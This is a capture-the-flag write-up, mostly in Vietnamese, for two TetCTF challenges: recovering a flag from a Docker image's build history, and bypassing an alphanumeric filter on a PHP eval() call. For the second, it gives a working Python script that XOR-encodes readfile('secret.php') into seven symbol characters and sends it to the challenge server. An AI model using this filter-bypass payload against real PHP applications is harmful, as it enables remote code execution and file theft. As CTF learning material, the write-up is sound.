└─$ sudo docker history --no-trunc 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag                                                
IMAGE                                                                     CREATED       CREATED BY                                                                                                              SIZE      COMMENT
sha256:377032e1eaab77980610cd9e65932d46e0db68d65f12bbe1b2c9dd4ba46e0e68   7 days ago    CMD ["python3" "test.py"]                                                                                               0B        buildkit.dockerfile.v0
<missing>                                                                 7 days ago    COPY TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae} TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae} # buildkit   0B        buildkit.dockerfile.v0
<missing>                                                                 7 days ago    COPY test.py test.py # buildkit                                                                                         72B       buildkit.dockerfile.v0
<missing>                                                                 7 days ago    RUN /bin/sh -c apt-get install python3 -y # buildkit                                                                    49.1MB    buildkit.dockerfile.v0
<missing>                                                                 7 days ago    RUN /bin/sh -c apt-get update -y # buildkit                                                                             19.4MB    buildkit.dockerfile.v0
<missing>                                                                 3 weeks ago   /bin/sh -c #(nop)  CMD ["bash"]                                                                                         0B        
<missing>                                                                 3 weeks ago   /bin/sh -c #(nop) ADD file:077a3156bd8271f26498ae6ac3800e68a42b9277581bc81eea31fec1a123dca5 in /                        117MB
  • Flag: TetCTF{M4sS-Sc4n_c56003d9ff654a835d0e2b3fa403f2ae}.

4. Behind the scenes:

  • Tôi đã có dịp được "thanh tra" xem tác giả làm đề như thế nào và thực sự đó là một trải nghiệm cực kì thú vị!. Một số uẩn khúc trong challenge đã được tác giả giải đáp.

  • Tại sao sau khi run task TetCtf2StackCtfTaskDefB40F186A:3 rồi để khoảng 1 phút thì log "bay màu"? Tôi thậm chí còn làm 1 thí nghiệm nho nhỏ ở đây để xác minh log "bay màu" là tin chuẩn. Lí do là vì ông tác giả thích thế...

Screenshot 2024-02-03 081621

  • Ngoài ra thì các credentials trong log cũng là do tác giả ổng muốn thế. Ban đầu tôi tưởng đó là một tính năng ảo ma nào đó của AWS ECS khi run task =))). Tóm lại mỗi lần chạy task thì sẽ tạo ra 1 IAM user dùng để đọc flag.

Screenshot 2024-02-03 082442

MISCELLANEOUS

I. Stress Release Service:

Target: http://192.53.173.71:8080 Source: https://drive.google.com/file/d/1UKPkz8Sn0Ucv1ZhN0NRi8bk_dspBeEJJ/view?usp=sharing

image

1. Phân tích code:

function validateInput($input) {
    // To make your shout effective, it shouldn't contain alphabets or numbers.
    $pattern = '/[a-z0-9]/i';
    if (preg_match($pattern, $input)) {
        return false;
    } 

    // and only a few characters. Let's make your shout clean.
    $count = count(array_count_values(str_split($input)));
    if ($count > 7) {
        return false;
    }

    return true;
}

if (isset($_GET["shout"]) && !empty($_GET["shout"]) && is_string($_GET["shout"])) {
    $voice = $_GET["shout"];
    $res = "<center><br><br><img src=\"https://i.imgur.com/SvbbT0W.png\" width=5% /> WRONGGGGG WAYYYYYY TOOOO RELEASEEEEE STRESSSSSSSS!!!!!!</center>";
    if(validateInput($voice) === true) {
        eval("\$res='<center><br><br><img src=\"https://i.imgur.com/TL6siVW.png\" width=5% /> ".$voice.".</center>';");
    }

    if (strlen($res) < 300) {
        echo $res;
    } else {
        echo "<center>Too loud!!! Please respect your neighbor.</center>";
    }
}
  • Source code đã cho khá rõ ràng, dễ đọc, lại còn có cả comment code đầy đủ chi tiết nên tôi chỉ tóm gọn lại các ý chính như sau: + Tại dòng 21, biến $voice là một user input được truyền vào hàm eval, ghi đè lên biến $res đã được khởi tạo từ trước ở dòng 19. + Tuy nhiên, để dòng 21 chạy được thì $voice cần được validate ở dòng 20. Để $voice hợp lệ thì nó không được phép chứa các kí tự số và chữ cái (lowercase hay uppercase chặn tất), tạm gọi là alphanumeric filter, trong các kí tự còn lại được sử dụng thì chỉ được phép dùng 7 kí tự khác nhau để tạo ra $voice. + Cuối cùng, độ dài của $res được in ra trên màn hình không được dài quá 300 kí tự (dòng 24). Tuy nhiên nếu đã in ra được flag trong hàm eval ở dòng 21, dù là in một mình nội dung biến $FL4ggggggggggg hay toàn bộ nội dung file chứa flag là secret.php thì cũng không thành vấn đề vì tổng toàn bộ file secret.php chỉ mới có 94 kí tự, cộng với các kí tự rác xung quanh còn dư chán.

  • Giả sử dòng if ở dòng 20 biến mất thì tôi sẽ inject vào $voice payload '.readfile('secret.php').' một phát là ăn ngay. Nhưng mà filter thế này thì bố con thằng nào ăn được? Vẫn ăn được nhé!

2. Tìm cách bypass filter:

  • Để vượt qua alphanumeric filter, tôi có idea là dùng PhpFuck. Đó là kĩ thuật sử dụng đúng 7 kí tự đặc biệt gồm ([+.^]) thông qua phép XOR (^) để thực thi PHP. Vì chỉ dùng có 7 kí tự nên 1 câu lệnh được viết bằng PHPFuck có một độ dài đáng cmn sợ. Mặc dù nếu in ra được flag trong ở dòng 21 thì độ dài payload không thành vấn đề nhưng Phpfuck có 2 điểm yếu trong bài này:

    + Chỉ hoạt động ở PHP 7 trở xuống, trong khi challenge này dùng PHP 8. + Vi phạm điều kiện 7 kí tự khác nhau: các kí tự tạo nên PhpFuck gồm có ([+.^]), trong khi các kí tự đặc biệt cần có trong payload của tôi là '.(). Hợp 2 tập hợp kí tự này với nhau ta có một tập kí tự mới là ([+.^])' gồm có 8 kí tự khác nhau.

  • Do đó ý tưởng ném payload '.readfile('secret.php').' vào 1 cái tool convert PhpFuck cần được vứt vào sọt rác, thay vào đó tôi tự tạo một ngôn ngữ mới tạm gọi là AntoineFuck với những nguyên lí khá giống PhpFuck. AntoineFuck cũng sử dụng 7 kí tự khác nhau và cũng dựa trên phép XOR ^. Đầu tiên là 5 kí tự mặc định phải có trong payload '.()^. Tiếp theo phải chọn ra 2 trong số 3 kí tự +[], tuy nhiên tôi đã chọn mãi mà không có cặp 2 trong 3 kí tự nào ở đây ra được payload đúng, tất cả đều bị lỗi như sau:

image

  • Mò trong các kí tự đặc biệt còn lại ta có \; dùng được. Tóm lại các kí tự mà AntoineFuck sử dụng gồm .()'^;\.

3. Exploit and get flag:

import itertools
import string
import requests
import re

def gen_xor_payload(payload):
    # create AntoineFuck alphabets, contained in xor_alphabet dictionary
    avail = """.()'^;\\"""
    xor_alphabet = {}

    for i in range(1, 7):
        for comb in itertools.combinations(avail, i):
            xor_payload = 0
            for c_payload in comb:
                xor_payload = xor_payload ^ ord(c_payload)

            if chr(xor_payload) in string.printable:
                xor_alphabet[chr(xor_payload)] = comb

   # create payload by finding the couple of characters respectively between characters in the raw payload and AntoineFuck alphabets.
    xor_payload = ""
    for c_payload in payload:
        if c_payload in xor_alphabet:
            c_payload_in_xor = "("
            for c_xor_alphabet in xor_alphabet[c_payload]:
                if c_payload_in_xor[-1] != "(":
                    c_payload_in_xor += "^"
                if c_xor_alphabet == "'":
                    c_payload_in_xor += "'\\''"
                elif c_xor_alphabet == "\\":
                    c_payload_in_xor += "'\\\\'"
                else:
                    c_payload_in_xor += f"'{c_xor_alphabet}'"
            c_payload_in_xor += ")"
            if len(xor_payload) > 0:
                xor_payload += "."
            xor_payload += c_payload_in_xor

    return xor_payload

if __name__ == '__main__':
    payload = f"'.({gen_xor_payload('readfile')})({gen_xor_payload('secret.php')}).'"
    response = requests.get('http://192.53.173.71:8080/?shout='+payload)
    flag = response.text[re.search("\$FL4ggggggggggg =", response.text).start():]
    print(flag)
  • Flag: TetCTF{__F33ls_G0od_M4nnnnnnnnnN_(^_^)/_}.